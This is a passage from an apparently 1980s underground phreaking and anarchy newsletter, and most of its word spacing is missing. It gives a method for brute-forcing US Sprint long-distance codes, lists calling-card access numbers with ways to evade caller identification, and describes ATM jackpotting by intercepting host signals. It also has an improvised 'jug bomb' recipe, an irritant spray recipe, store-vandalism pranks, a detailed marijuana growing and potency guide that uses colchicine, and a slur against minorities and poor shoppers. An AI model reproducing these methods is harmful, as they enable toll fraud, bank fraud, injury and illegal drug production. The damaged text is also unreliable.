is featured in that issue. This will be largely reader input which will be sent in
betweenissues.Attheendoftheissueathand,itwilltellthetopicofthenextissue,
therefore,ifyouhavesomethingtocontribute,thenyouwillhaveampletimeto
prepareyourarticle.
Hardware/SoftwareReview
Inthissection,wewillreviewthegoodandbadpointsofhardwareandsoftware
relatedtotheunderworld.Itwillbeanextensivereview,ratherthanjustasmall
paragraph.
TheTops
ThissectionwillbetheareawherethetopunderworldBBS's,hackingprograms,
modemscanners,etc.willbeshown.Thiswillbereaderselectedandwillnotbe
alteredinanyway.Thetopicsarelistedbelow:
UnderworldBBS's(Hack,Freak,Card, HackingprogramsforHayescompatibles
Anarchyetc.)
Hacking programs for 1030/Xm301

modems
modems
ModemscannersforHayescompatibles Othertypeillegalprograms.
Modem scanners for 1030/Xm301

Youmayaddtopicstothelistifenoughwillsupportit.
TidBits
Thiswillcontaintipsandhelpfulinformationsentinbytheusers.Ifyouhaveany
informationyouwishtocontribute,thenputitinatextfileanduploadittooneof
the BBS's listed at the end of the newsletter. Please, no long distance codes,
mainframe passwords etc. We may add other sections as time goes by. This
newsletterwillnotbeputoutonaregularbasis.Itwillbeputoutwhenwehave
enougharticlesandinformationtoputinit.Theremaybeupto5amonth,butthere
willalwaysbeatleastoneamonth.Wewouldlikeyou,thereaders,tosendus
anything you feel would be of interest to others, like hacking hints, methods of
hackinglongdistancecompanies,companiestocardfrometc.Wewillmaintainthe
newsletteraslongasthereaderssupportit.Thatistheendoftheintroduction,but
takealookatthisnewsletter,asitcontainsinformationthatmaybeofvaluetoyou.
HackingSprint:TheEasyWay
byTracker
IfyouhackUSSprint,9500777(bythewayitisnolongerGTESprint)andyou
arefrustratedathackingseveralhoursonlytofindoneortwocodes,thenfollow
thesetipsanditwillincreaseyourresultstremendously.FirstonethingthatMr.
Mojo proved is that Sprint will not store more than one code in every hundred
numbers(ex:98765400to98765499maycontainonlyonecode).Theremaynot
beacodeinthathundred,buttherewillneverbemorethanone.Sprint's9digit
codesarestoredfrom500000000through999999999.InthebeginningofSprint's
950port,theyonlyhad8digitcodes.Thentheystartedconvertingto9digitcodes,
storingall8digitcodesbetween10000000and49999999andall9digitcodes
between500000000and999999999.Sprinthassincecancelledmost8digitcodes,
althoughthereareafewleftthathavebeendenotedastestcodes.Occasionally,I
hearoffreakssayingtheyhave8digitcodes,butwhenverifyingthem,thecodes
wereinvalid.Now,wheredoyoustart?Youhavealreadynarrowedthelowand
highnumbersinhalf,thereforealreadyincreasingyourchancesofgoodresultsby50
percent.Thenextstepistofindagoodprefixtohack.Bytheway,aprefix,in
hackingterms,isthefirstdigitsinacodethatcanbeanylengthexceptthesame
numberofdigitsthecodeis.(ex:123456789isacode.Thatmeans1,12,123,1
234,12345,123456,1234567and12345678areprefixes)Thewayyoufinda
goodprefixtohackistomanuallyenteracodeprefix.Ifwhenyouenterthecode
prefix and a valid destination number and you do not hear the ringing of the
recordingtellingyouthatthecodeisinvaliduntilneartheendofthenumber,then

youknowtheprefixisvalid.Hereisacharttofollowwhendoingthis:
CodeDestinationRangegoodcodesexist

1234567896192R123400000123499999
123456789619267R123450000123459999
12345678961926702R123456000123456999
1234567896192670293R123456700123456799

(RDenoteswhenringforrecordingstarts)
Toprovethistrue,IranatestusingOmniHack1,3p,writtenbyJollyJoe.Inthis
testIfoundaprefixwherethelast3digitswereallIhadtohack.Itestedeach
hundredofthe6digitprefixfindingthatallbut4hadtheringstartafterthefourth
digitwasdialledinthedestinationnumber.TheotherfourdidnotringuntilIhad
finishedtheentirecode.IsetOmniHacktohacktheprefix+00untilprefix+99.
(ex:xxxxxxy00toxxxxxxy99:whereyisoneofthefournumbersthattheringdid
notstartuntilthediallingwascompleted.)Usingthismethod,Ifoundfourcodesina
totalof241attemptsusingascendinghacking(Aka:Sequential).Belowyouwillsee
arecordofmyhack:
RangeofhackCodesfoundTries

xxxxxx300xxxxxx399xxxxxx35050
xxxxxx500xxxxxx599xxxxxx56868
xxxxxx600xxxxxx699xxxxxx64646
xxxxxx800xxxxxx899xxxxxx87777

Totals4codes241

Asyousee,thesemethodswork.Followtheseguidelinesandtipsandyoushould
haveanincreaseinproductionofcodesinthefuturehackingSprint.Also,ifyou
haveanyhints/ tipsyouthinkotherscouldbenefitfrom,thentypethemupand
uploadthemtooneoftheboardsattheendofthenewsletter.
Rumours:WhySpreadThem?
byTracker
Doyouevergettiredofhearingrumours?Youknow,someonegetsanurgeto
impressothers,sotheycreatearumourthatsomelongdistancecompanyisnow
usingtracingequipment.Whystartrumours?Itonlyscaresothersoutoffreaking,
andthenmakesyou,thepersonwhostartedtherumour,looklikeMr.Big.This
articleisshort,butitshouldmakeyouawareoftherumoursthatpeoplespreadfor
personalgain.Thebestthingtodoistodenotethemasarumourstarterandthen

leaveitatthat.Youshouldnotragonthemconstantly,sinceiftheotheruserscannot
determineifitisfactorrumour,thentheyshouldsuffertheconsequences.
TheNewSprintFONCallingCards
byTracker
USSprinthasopenedupanewlongdistancenetworkcalledtheFibreOptic
Network(Fon),inwhichsubscribersaregivencallingcards.Thesecallingcardsare
14digitsandthough,seemrandomlygenerated,theyareactuallyencrypted.The
rumoursfloatingaroundaboutpeoplegettingcaughtusingtheSprintFoncalling
cardsarefact,notrumours.Thereasonpeoplearegettingcaughtisthattheyconfuse
the Fon calling cards with the local 950 port authorization codes. If you will
remember,youneveruseAT&Tcallingcardsfromyouhomephone.IthasAni
capability,whichisnottracing,butrathertheoriginatingphonenumberisplacedon
thebillassoonasthecalliscompleted.Theyknowyourphonenumberwhenyou
callthe800accessport,buttheydonotrecordituntilyourcalliscompleted.Also,
through several of my hacks, I came up with some interesting information
surroundingthenewSprintnetwork.Theyarelistedbelow:
800

877

0000
ThisnumberisforinformationonUSSprint's800callingcardservice.Ihavenot
playedaroundwithit,butIbelieveitisfortroubleorhelpwiththeFoncallingcards.
IamnotsureifitisforsubscribingtotheFonnetwork.
800 877 0002 You hear a short tone, then nothing.
800 877 0003 US Sprint Alpha Test Channel # 1
800

877

(0004

0999)
Whenyoucallthesenumbers,yougetarecordingsaying:"WelcometoUSSprint's
1plusservice."Whentherecordingstops,ifyouhitthepoundkey(#)youwillget
thecallingcarddialtone.
OtherrelatedSprintnumbers
8005214949ThisisthenumberthatyousubscribetoUSSprintwith.Youmay
alsosubscribetotheFonnetworkonthisnumber.Itwilltake4to5weeksforyour
callingcardtoarrive.
10777 ThisisUSSprint'sequalaccessnumber.Whenyoudialthisnumber,you
thendialthenumberyouarecalling,anditwillbebilledthroughUSSprintandyou
willreceivetheirlongdistancelineforthatcall.Notethatyouwillbebilledforcalls
madethroughequalaccess.Donotmistakeittobeamethodoffreaking,unlessused
fromaremotelocation.IfyouareinUSSprint's1+servicethencall1+7005551
414,whichwilltellyouwhichlongdistancecompanyyouareusing.Whenyouhear:
"ThankyouforchoosingUSSprint's1plusservice,"hitthepoundkey(#)andthen
youwillgettheUSSprintdialtone.Thishoweverisjustthesameasifyouare
callingfromyourhomephoneifyoudialdirect,soyouwouldbebilledforcalls

madethroughthat,buttherearewaystousethistoyouradvantageasinusingequal
accessthroughaPBX.
AutomaticNumberIdentification(ANI)
byTracker
ThetruedefinitionforAutomaticNumberIdentificationhasnotbeenwidelyknown
to many. Automatic Number Identification, (Aka: Ani), is the process of the
destinationnumberknowingtheoriginatingnumber,whichiswhereyouarecalling
from.Themethodofachievingthisistosendthephonenumberthatyouarecalling
fromincodedformaheadofthedestinationnumber.Belowisanexampleofthis.
Ani

Method
Dial:

2670293
Sent:

********2670293
*Denotestheoriginatingnumberwhichiscodedandsentbeforethenumber.
Asyounoticedthereare8digitsinthecodednumber.Thisisbecause,atleastI
believe,itisstoredinabinarylikeform.AutomaticNumberIdentificationmeansa
limitedfutureinfreaking.Anidoesnotthreatenfreakingverymuchyet,butitwillin
thenearfuture.Anewswitchingsystemwillsoonbeinstalledinmostcitiesthatare
covered by ESS, Electronic Switching System, now. The system will have Ani
capabilitieswhichwillbesuppliedtotheownersofphonelinesasanaddedextra.
Theowner'sphonewillhaveanLedreadoutthatwillshowthephonenumberofthe
peoplethatcallyou.Youwillbeabletoblocksomenumbers,sothatpeoplecannot
callyou.Thissystemisinthetestingstagescurrently,butwillsoonbeinstalled
acrossmostofthecountry.Asyousee,thiswillendalargepartoffreaking,until
we,thefreakers,cancomeupwithanalternative.AsIhavebeentoldbyseveral,
usuallyreliable,people,thissystemiscalledISS,whichIamnotsureofthemeaning
ofthisandisbeingtestedcurrentlyinRhodeIsland.
800inwattslinessetupbyAT&TsupportAni.TheequipmenttodecodeanAni
codedoriginationnumberdoesnotcostsasmuchasyouwouldexpect.950portsdo
notofferAnicapability,nomatterwhatyouhavebeentold.The950portswillonly
givethecityinwhichtheyarebased,thisusuallybeingthelargestinthestate,
sometimesthecapitol.OnelastthingthatIshouldtellyouisthatAniisnotrelatedto
tracing.Tracingcanbedoneonanynumberwhetherlocal,950etc.Onewayaround
this,especiallywhendiallingAllianceTeleConferencing,istodialthroughseveral
extendersorports.Aniwillonlycoverthenumberthatiscallingitandifyoucall
throughanumberthatdoesnotsupportAni,thenyournumberwillneverbeknown.
TheDisclaimer!
We,theeditors,takenoresponsibilityforyouractionsanduseoftheinformation
in this newsletter. This newsletter is for informational purposes only. There will
neverbeanylongdistancecodes,passwordsetc.inthisnewsletter.Ifyouareeasily
offendedbytelecommunicationdiscussions,thenwesuggestthatyounotreadthis

newsletter. But for those who are trully interested in the information in this
newsletter,enjoyit.Revised.
JackpottingATMMachines
courtesyofJollyRoger
Jackpotting wasdonerathersuccessfullyawhilebackin(youguessedit)New
York.Whattheculpritsdidwas:Sever(actuallycrossover)thelinebetweenthe
ATMandthehost.insertamicrocomputerbetweentheATMandthehost.inserta
fraudulentcardintotheATM(card=cashcard,nothardware).WhattheATMdid
was:sendasignaltothehost,saying"Hey!CanIgivethisguymoney,orishe
broke,orishiscardinvalid?"Whatthemicrocomputerdidwas:interceptthesignal
fromthehost,discardit,send"there'snooneusingtheATM"signal.Whatthehost
didwas:getthe"nooneusing"signal,sendback"okay,thenforGod'ssakedon't
spitoutanymoney!"signaltoATM.Whatthemicrocomputerdidwas:Intercept
signal(again),throwitaway(again),send"Wow!ThatguyisliketoorichGivehim
asmuchmoneyashewants.Infact,he'ssoloaded,givehimallthecashwehave!
Heisreallyavaluedcustomer."signal.WhattheATMdid:Whatelse?Obediently
dispensecashtillthecowscamehome(orverynearlyso).
What

the

crooks

got

Wellinexcessof$120000(foroneweekend'swork)andseveralyearswhenthey
werecaught.ThisstorywasusedatacryptographyconferenceIattendedawhile
ago to demonstrate the need for better information security. The lines between
ATM's&theirhostsareusuallyweakinthesensethattheinformationtransmitted
onthemisgenerallynotencryptedinanyway.OneofthewaysthatJackpottingcan
bedefeatedistoencrypttheinformationpassingbetweentheATMandthehost.As
longasthekeycannotbedeterminedfromtheciphertext,thetransmission(and
hencethetransaction)issecure.Amorebelievable,technicallyaccuratestorymight
concernapersonwhousesacomputerbetweentheATMandthehosttodetermine
the key before actually fooling the host. As everyone knows, people find
cryptanalysisaveryexcitingandengrossingsubject,don'tthey?(HeeHee)
_____
______
||<<||<<||
|ATM|micro|Host|
|_____|>>||>>|______|
TheBofAATM'sareconnectedthroughdedicatedlinestoahostcomputerasthe
Bishopsaid.However,formaintenancepurposes,thereisatleastoneseparatedial
uplinealsogoingtothatsamehostcomputer.Thisguybasicallybs'edhiswayover
thephonetillhefoundsomeonestupidenoughtogivehimthenumber.Afterfinding
that,hehadhasApplehackatthecode.Simple.

Step2
HehadafriendgotoanATMwithanyBofAATMcard.Hestayedathomewith
theAppleconnectedtothehost.Whenhisfriendinsertedthecard,thehostdisplayed
it.TheguywiththeApplemodifiedthestatus&numberofthecarddirectlyinthe
host'smemory.Heturnedthecardintoasecuritycard,usedfortestingpurposes.At
thatpoint,theATMdidwhateverit'soperatortoldittodo.Thenextday,hewent
intothebankwiththe$2000hereceived,talkedtothemanagerandtoldhimevery
detailofwhathe'ddone.Themanagergavehimhisbusinesscardandtoldhimthat
hehadajobwaitingforhimwhenhegotoutofschool.Now,BofAhasbeen
warned, they might have changed the system. On the other hand, it'd be awful
expensivetodothatoverthewholecountrywhenonlyahandfulofpeoplehavethe
resourcesandevenlesshavetheintelligencetoduplicatethefeat.Whoknows?
JugBomb
byJollyRoger
Takeaglassjugandput3to4dropsofgasolineintoit.Thenputthecapon,and
swishthegasaroundsotheinnersurfaceofthejugiscoated.Thenaddafewdrops
ofpotassiumpermanganatesolutionintoitandcapit.Toblowitup,eitherthrowitat
somethingorrollitatsomething.
FunatKMart
byJollyRoger
Well,firstoff,onemustrealisetheimportanceofKMartsinsocietytoday.First
off,KMartsprovidethingscheapertothosewhocan'taffordtoshopathigher
qualitystores.Although,allIeverseeinthereisminoritiesandSeniorCitizensand
thepoorpeopleinourcity.Personally,Iwouldn'tbecaughtdeadinthere.But,once,
Idid.Yousee,once,afterTheMoonRoachandHavocChaos(Dearfriendsofmine)
andIwereexploringsuchfunthingsasrooftops,wecamealongaKMart.Amused
andcoldforthatmatter,wewanderedin.TheTensionmounts.Aswewalkedupto
theentrance,wewerenearlyattackedbyYouthGroupssellingcheapcookiesand
wheelchairstickenpeoplesellingAmericanFlags.Afterlaughingatthesepeople,we
entered.Thisiswheretherealfunbegins.First,wewanderedaroundthestore,and
turnedonallthebluelightswecouldfind.Thatreallydistractsandconfusesthe
attendants.Funtodo.Thefirstneatthing,istogotothesectionofthestorewhere
theysellcomputers.DarknessengulftheearththedaytheyfindAppleComputers
beingsoldthere.Instead,lessercomputerslikethelaughableC64canbefound
there.Turniton,andmakesurenobody'slooking.Then,onceinBasic,type10
print."Fucktheworld!AnarchyRules!"(orsomethingtothateffect).20Goto10
andwalkaway.Also,setthesampleradiosinthestoretoasantanicrockstationand
turntheradiooff.Then,setthealarmfortwominutesaheadofthetimedisplayed
there.Turnthevolumeupallthewayandwalkaway.Afterabouttwominutes,you

willseetheclerkfeeblyattempttoturntheradiodownoroff.It'sreallyneattoset
tenormoreradiostodifferentstationsandwalkaway.Oneofmyfavouritethingsto
doistogetontotheintercomsystemofthestore.Easiertypedthendone.First,
checkoutthegardendepartment.Yousaythere'snoattendantthere?Good.Sneak
carefullyovertothephonebehindthecheapcounterthereandpickitup.Dialthe
numbercorrespondingtotheitemthatsayspageandtalk.Youwillnotethatyour
voice will echo all over the bowels of K Mart. I would suggest announcing
somethingonthelinesof:"Anarchyrules!!!"
MaceSubstitute
byJollyRoger
Need:3partsAlcohol;1/2partsIodineand1/2partsSaltor3partsAlcoholand1
partIodizedSalt(Mortons).It'snotactualmace,butitdoesadamngoodjobonthe
eyes.
HowtogrowMarijuana
courtesyofJollyRoger
Marijuana
Marijuanaisadeciduousplantwhichgrowsfromseeds.Thefibroussectionofthe
plantwas(hasbeenreplacedbysynthetics)usedtomakerope.Thefloweringtops,
leaves,seeds,andresinof theplantisusedbyjustabouteveryonetoget high.
Normally,thevegetablepartsoftheplantaresmokedtoproducethis"high",butthey
can also be eaten. The active ingredient in marijuana resin is THC
(tetahydrocannabinol).Marijuanacontainsfrom14percentTHC(4percentmust
beconsideredgooddope).Marijuanagrowswildinmanypartsoftheworld,andis
cultivated in Mexico, Vietnam, Africa, Nepal, India, South America etc. The
MarijuanasoldintheUnitedStatescomesprimarilyfrom,yes,theUnitedStates.It
isestimatedthatatleast50percentofthegrassonthestreetsinAmericaishome
grown.ThenextlargestbunchcomesacrossthebordersfromMexico,withsmaller
amountsfilteringinfromPanama,occasionallySouthAmerica,andoccasionally,
Africa.HashishisthepureresinoftheMarijuanaplant,whichisscrapedfromthe
floweringtopsoftheplantandlumpedtogether.Ganjaisthegrounduptopsofthe
finest plants. (It is also the name given to any sort of Marijuana in
Jamaica.)Marijuanawilldeteriorateinabouttwoyearsifexposedtolight,airorheat.
Itshouldalwaysbestoredincoolplaces.GrasspricesintheUnitedStatesarea
directreflectionofthelawsofsupplyanddemand(andyouthoughtthathighschool
economicswouldneverbeuseful).Aseriesoflargeborderbusts,ashortgrowing
season, a bad crop, any number of things can drive the price of marijuana up.
DemandstillseemstobeontheincreaseintheU.S.,sopricesseldomfallbelow
lastyear'slevel.Eachyearasmallseasonaldroughtoccurs,aslastyear'ssupplyruns

low,andnextyear'scropisnotupyet.Pricesusuallyraiseabout2075percent
duringthistimeandthenfallbackto"normal."Unquestionably,alargeshortageof
grasscausesapercentageofsmokerstoturntoharderdrugsinstead.Forthisreason,
nograsscontrolprogramcaneverbebeneficialor"successful."
Growit!
ThereisonesurefirewayofavoidinghighpricesandthegrassDT's:Growyour
own!Thisisnotasdifficultassome"authorities"onthesubjectwouldmakeyou
believe.Marijuanaisaweedandafairlyvivaciousoneatthatanditwillgrow
almostinspiteofyou.
Outdoors
Contrarytopopularbelief,grassgrowswellinmanyplaceontheNorthAmerican
continent.Itwillflourishevenifthetemperaturedoesnotraiseabove75degrees.
Theplantsdoneedaminimumofeighthoursofsunlightperdayandshouldbe
planted inlate April/ earlyMay, but definitelly,after the last frost of the year.
Growinganoutdooror"aunaturel",crophasbeenthefavouredmethodoverthe
years,becausegrassseemstogrowbetterwithoutasmuchattentionwheninits
natural habitat. Of course, an outdoors setting requires special precautions not
encounteredwithanindoorscrop;youmustbeabletoavoiddetection,bothfrom
lawenforcementfreaksandcommonfreaks,bothofwhomwilltakeyourweedand
probablyuseit.Ofcourse,onewillalsoarrestyou.Youmustalsohaveaccesstothe
areatopreparethesoilandharvestthecrop.Therearetwoschoolsofthoughtabout
startingtheseeds.Onesaysyoushouldstarttheseedlingsforabouttendaysinan
indoorstarterbox(seetheindoorsection)andthentransplant.Theothertheoryis
thatyoushouldjuststarttheminthecorrectlocation.Fewerplantswillcomeupwith
thismethod,butthereisnoshockoftransplanttokillsomeoftheseedlingshalfway
through.Thesoil shouldbeprepreparedforthelittledevilsbyturningitovera
coupleoftimesandaddingaboutonecupofhydratedlimepersquareyardofsoil
andalittlebit(nottoomuch,now)ofgoodwatersolublenitrogenfertilizer.Thesoil
should nowbewateredseveral times andlefttositaboutoneweek. Theplants
shouldbeplantedatleastthreefeetapart,gettingtoogreedyandstackingthemtoo
closewillresultinstuntedplants.Theplantslikesomewaterduringtheirgrowing
season,butnottoomuch.Thisisespeciallytruearoundtheroots,astoomuchwater
willrottherootsystem.Grassgrowswellincornorhopsandtheseplantswillhelp
providesomecamouflage.Itdoesnotgrowwellwithrye,spinachorpepperweed.It
isprobablyagoodideatoplantinmanysmall,brokenpatches,aspeopletendto
noticepatterns.
Generalgrowinginfo
BoththemaleandthefemaleplantproduceTHCresin,althoughthemaleisnotas
strongasthefemale.Inagoodcrop,themalewillstillbeplentysmokableand

shouldnotbethrownawayunderanycircumstances.Marijuanacanreachahightof
twentyfeet(orwouldyouratherwishonastar)andobtainadiameterof41/2
inches.Ifnormal,ithasasexratioofabout1:1,butthiscanbealteredinseveral
ways.Themaleplantdiesinthe12thweekofgrowing,thefemalewillliveanother
35weekstoproduceheryoungguns.Femalescanweightwiceasmuchasmales
when they are mature. Marijuana soil should compact when you squeeze it, but
shouldalsobreakapartwithasmallpressureandabsorbwaterwell.Anicetestfor
eitherindoororoutdoorgrowingistoaddabunchofwormstothesoil,iftheylive
andhangaround,itisgoodsoil,butiftheydon't,well,changeit.Wormsalsohelp
keepthesoillooseenoughfortheplantstogrowwell.
Seeds
Togetgoodgrassyoushouldstartwiththerightseeds.Anicestartingpointisto
savetheseedsfromthebestbatchyouhaveconsumed.Theseedsshouldbevirile,
that is,theyshouldnot begreyandshrivelledup,butgreen,meatyandhealthy
appearing.Anicetestistodroptheseedsonahotfryingpan.Ifthey"crack,"they
areprobablygoodforplantingpurposes.Theseedsshouldbesoakedindistilled
waterovernightbeforeplanting.Besuretoplantinthegroundwiththepointyend
UP.Plantabout1/2"deep.Healthyseedswillsproutinaboutfivedays.
Sprouting
Thebestallaroundsproutingmethodisprobablytomakeasproutingbox(assold
in nurseries) with a slated bottom or use paper cups with holes punched in the
bottoms.Thesproutingsoilshouldbeamixtureofhumus,soilandfivesandwitha
bitoforganicfertilizerandwatermixedinaboutoneweekbeforeplanting.When
readytotransplant,youmustbesureandleaveaballofsoilaroundtherootsofeach
plant.Thiswholeballisdroppedintoabaseballsizedholdinthepermanentsoil.If
youaregrowing/transplantingindoors,youshoulduseagreensafelight(purchased
atnurseries)duringthetransplantingoperation.Ifyouaretransplantingoutdoors,
you should time it about two hours before sunset to avoid damage to the plant.
Alwayswearcottongloveswhenhandlingtheyoungplants.Aftertheplantsareset
in the hole, you should water them. It is also a good idea to use a commercial
transplantchemical(alsopurchasedatnurseries)tohelpthenovercometheshock.
Indoorgrowing
Indoorgrowinghasmanyadvantages,besidestheapparentfactthatitismuch
hardertohaveyourcrop"found,"youcancontroltheambientconditionsjustexactly
asyouwantthemandgetaguaranteed"good"plant.Plantsgrownindoorswillnot
appearthesameastheiroutdoorcousins.Theywillbescrawnierappearingwitha
weak stems and may even require you to tie them to a growing post to remain
upright,but theywillhaveasmuchormoreresin !Ifgrowinginaroom,you
shouldputtarpaperonthefloorsandthenbuysterilizedbagsofsoilformanursery.

Youwillneedaboutonecubicfootofsoilforeachplant.Theplantswillneedabout
150ml.ofwaterperplant/perweek.Theywillalsoneedfreshair,sotheroommust
beventilated.(however,thefreshairshouldcontain notobacco smoke).Atleast
eighthoursoflightadaymustbeprovided.Asyouincreasethelight,theplants
growfasterandshowmorefemales/lessmales.Sixteenhoursoflightperdayseems
tobethebestcombination,beyondthismakeslittleornoappreciabledifferencein
theplantquality.Anotherideaistointerruptthenightcyclewithaboutonehourof
light. This gives you more females. The walls of your growing room should be
painted white or covered with aluminium foil to reflect the light. The lights
themselvescanbeeitherbulbsoffluorescent.Figureabout75wattsperplantorone
plantpertwofeetoffluorescenttube.Thefluorescentsarethebest,butdonotuse
"coolwhite"types.Thelightsourcesshouldbeanaverageoftwentyinchesfromthe
plantandnevercloserthan14inches.Theymaybemountedonarackandmoved
everyfewdaysastheplantsgrow.Theverybestlightsourcesarethosemadeby
Sylvaniaandothersespeciallyforgrowingplants(suchasthe"grolux"types).
Harvestinganddrying
Themaleplantswillbetallerandhaveaboutfivegreenoryellowsepals,which
willsplitopentofertilizethefemaleplantwithpollen.Thefemaleplantisshorter
andhasasmallpistillateflower,whichreallydoesn'tlooklikeafloweratallbut
ratherasmallbunchofleavesinacluster.Ifyoudon'twantanyseeds,justgood
dope,youshouldpickthemalesbeforetheyshedtheirpollenasthefemalewilluse
someofherresintomaketheseeds.Afteranotherthreetofiveweeks,afterthe
malesaregone,thefemaleswillbegintowitheranddie(fromloneliness?),thisis
thetimetopick.InsomenefariousMiddleEasterncountries,farmersreportedlyput
theirbeehivesnexttofieldsofmarijuana.Thelittledevilscollectthegrasspollenfor
theirhoney,whichissupposedtocontainafairdosageofTHC.Thehoneyisthen
enjoyedbyconventionalmethodsormadeintoambrosia.Ifyouwantseedsletthe
malesshedhispollenthenpickhim.Letthefemalegoanothermonthandpickher.
To cure the plants, they must be dried. On large crops, this is accomplished by
constructingadryingboxordryingroom.Youmusthaveaheatsource(suchasan
electricheater)whichwillmakethebox/roomeach130degrees.Thebox/room
mustbeventilatedtocarryoffthewatervapourladenairandreplaceitwithfresh.
Agoodboxcanbeconstructedfromanorangecratewithfibreglassinsulatedwalls,
vents in the tops and screen shelves to hold the leaves. There must be a baffle
betweentheleavesandtheheatsource.Aquickcureforsmalleramountsisto:cut
theplantatthesoillevelandwrapitinaclothsoasnottolooseanyleaves.Takeout
anyseedsbyhandandstore.Placealltheleavesonacookiesheetoraluminiumfoil
andputtheminthemiddleshelledoftheoven,whichisseton"broil."Inafew
seconds,theleaveswillsmokeandcurlup,stirthemaroundandgiveanotherten
secondsbeforeyoutakethemout.
Toincreasethegoodstuff

 ThereareseveraltrickstoincreasethenumberoffemalesortheTHCcontentof
plants:Youcanmaketheplantsmaturein36daysifyouareinahurry,bycutting
backonthelighttoabout14hours,buttheplantswillnotbeasbig.Youshould
graduallyshortenthelightcycleuntilyoureachfourteenhours.Youcanstopany
wateringastheplantsbegintobaketheresinrisetotheflowers.Thiswillincrease
theresinabit.Youcanuseasunlampontheplantsastheybegintodevelopflower
stalks.Youcansnipofftheflower,rightatthespotwhereitjoinstheplant,anda
newflowerwillforminacoupleofweeks.Thiscanberepeatedtwoorthreetimesto
getseveraltimesmoreflowersthanusual.IftheplantsaresprayedwithEthrelearly
in their growing stage, they will produce almost all female plants. This usually
speeds up theflowering also, itmay happen inas little as twoweeks. Youcan
employagrowthchangercalledcolchicine.Thisisabithardtogetandexpensive.
(Shouldbeorderedthroughalabofsomesortandcostsabout$35agram).Touse
thecolchicine,youshouldprepareyourpresoakingsolutionofdistilledwaterwith
about0,10percentcolchicine.Thiswillcausemanyoftheseedstodieandnot
germinate,buttheonesthatdocomeupwillbepolyploidplants.Thisistheaccepted
differencebetweensuchstrainsas"gold"andnormalgrassandyourswilldefinitely
besuperweed.Theproblemhereisthatcolchicineisapositioninlargerquanities
and may be poisonous in the first generation of plants. Bill Frake, author of
Connoisseur'shandbookofMarijuana,runsaverycompletecolchicinetreatment
down and warns against smoking the first generation plants (all succeeding
generationswillalsobepolyploid)becauseofthispoisonousquality.However,the
MedicalIndexshowscolchicinebeinggiveninverysmallquantitiestopeoplefor
treatmentifvariousailments.Althoughthesequantitiesaresmall,theywouldappear
tobelargerthananyyoucouldreceiveformsmokingaseedtreatedplant.Itwould
beagoodideatobuyacopyofConnoisseur's,ifyouareplanningtoattemptthis,
andreadMr.Drake'scompleteinstructions.Anotherstillexperimentalprocessto
increasetheresinittopinchofftheleaftipsassoonastheyappearfromthetimethe
plant is in the seedling stage on through its entire life span. This produces a
distorted,wrecked lookingplantwhichwouldbeverydifficultytorecognizeas
Marijuana.Ofcourse,thereislesssubstancetothisplant,butsuchwreckedcreatures
havebeenknowntoproducesomuchresinthatitcrystallizesastronghashallover
thesurfaceoftheplantmightbewisetotryitonaplantortwoandseewhat
happens.
Plantproblemchart
Alwayschecktheoverallenvironmentalconditionspriortopassingjudgement
soilaround7pHorslightlylessplentyofwater,light,freshair,loosesoil,nowater
standinginpools.
Symptom

Largerleavesturningyellowaddsmallerleavesstillgreen.Olderleaveswillcurl
atedges,turndark,addcommercialphosphate.Matureleavesdevelopayellowish
casttoveinalareas.Matureleavesturnyellowandthenbecomespottedwithedge

areasurningdarkgrey.Crackedstems,nohealthysupporttissue.Smallwrinkled
leaves with yellowish vein systems. Young leaves become deformed, possibly
yellowing.
Probablyproblem/cure

Nitrogendeficiencynitrateofsodaororganicfertilizer.
Phosphorousdeficiencypossiblywithapurplecast.Magnesiumdeficiencyadd
commercialfertilizerwithamagnesiumcontent.
Potassiumdeficiencyaddmuriateofpotash.
Boron deficiency add any plant food containing boron. Zinc deficiency add
commercialplantfoodcontainingzinc.
Molybdenumdeficiencyuseanyplantfoodwithabitofmolybdenuminit.
Extrasection:Badweed/goodweed
Canyouturnbadweedintogoodweed?Surprisinglyenough,theanswertothis
oftaskedinquiryis,yes!Likemostotherthingsinlife,theamountofgoodyouare
goingtodorelatesdirectlytohowmucheffortyouaregoingtoputintoit.Thereare
noinstant,supermarketproductswhichyoucansprayonKansascatnipandhave
wonderweed,butthereareanumberofsimplified,inexpensiveprocesses(Gee,Mr.
Wizard!)whichwillenhancemediocregrasssomewhat,antthereareacoupleof
fairlyinvolvedprocesseswhichwilldoupevenalmostparsleyweedintosomething
worthwritinghomeabout.
Eases
Placethedopeinacontainerwhichallowsairtoenterinarestrictedfashion(such
asacanwithnailholespunchedinitslid)andaddabunchofdryiceandtheplace
thewouldshebanginthefreezerforafewdays.Thisprocesswilladdacertain
amountofpotencytotheproduct,however,thisonlyworkswithdryice,ifyouuse
normal,everydayfreezerice,youwillendupwithasoggymess.Takeaquantityof
grassanddampenit,placeinabaggieoranothersociallyacceptablecontainerand
storeitinadark,dampishplaceforacoupleofweeks(buryingitalsoseemsto
work).Thegrasswilldevelopamouldwhichtastesabitharshandburnsatinybit
funny,butdoesincreasethepotency.Exposethegrasstothehighintensitylightofa
sunlampforafulldayorso.Personally,Idon'tfeelthatthisisworththeeffort,butif
youjustspent$400ofyourfriend'smoneyforthisbrickofsuperColombian,right
fromthePresident'spersonalstashanditturnsouttobeMissouriweed,and
you'repackingyourbagstoleavetownbeforethepeoplearrivefortheirshares,well,
youmightatleasttryit.Can'thurt.Taketheundesirableportionsofourstash(stems,
seeds,weakweed,wormsetc.)andplacetheminacoveredpot,withenoughrubbing
alcoholtocovereverything.Nowcarefullyboilthemixtureonanelectricstoveor
labburner.Donotusegasthealcoholistooflammable.After45minutesofheat,
removethepotandstrainthesolidsout,savingthealcohol.Now,repeattheprocess

withthesameresiduals,butfreshalcohol.Whenthesecondboilisover,removethe
solidsagain,combinethetwoquantitiesofalcoholandreboiluntilyouhaveasyrupy
mixture.Now,thissyrupymixturewillcontainmuchoftheTHCformerlyhiddenin
thestemsandsuch.Onesimplytakesthissyrupthethoroughlycombinesitwiththe
grassthatonewishestoimproveupon.
SpecialsectiononrelatedsubjectMarygin
Maryginisananagramofthewordsmarijuanaandgin,asinEliWhitney.Itisa
plastictumblerwhichactsmuchlikeacommercialcottingin.Onetakesaboutone
ounce of an harb and breaks it up. This is then placed in the Marygin and the
protudingknodisroatated.Thisactionturnstheinternalwheel,whichseparatesthe
grassfromthedebris(seeds,stems).Itdoesnotpulberizethegrassasscreenshavea
habitofdoingandiseasilywashable.Maryginisavailablefrom:
P.O.Box5827
Tuscon,Arizona85703
$5

Grass
EdmundScientificCompany
555EdscorpBuilding
Barrington,NewJersy08007
FreeCatalogueisawonderofgoodthingsforthepotentialgrassgrower.They
haveanelectricthermostatgreenhouseforstartingplantsforamere$14,95.Soil
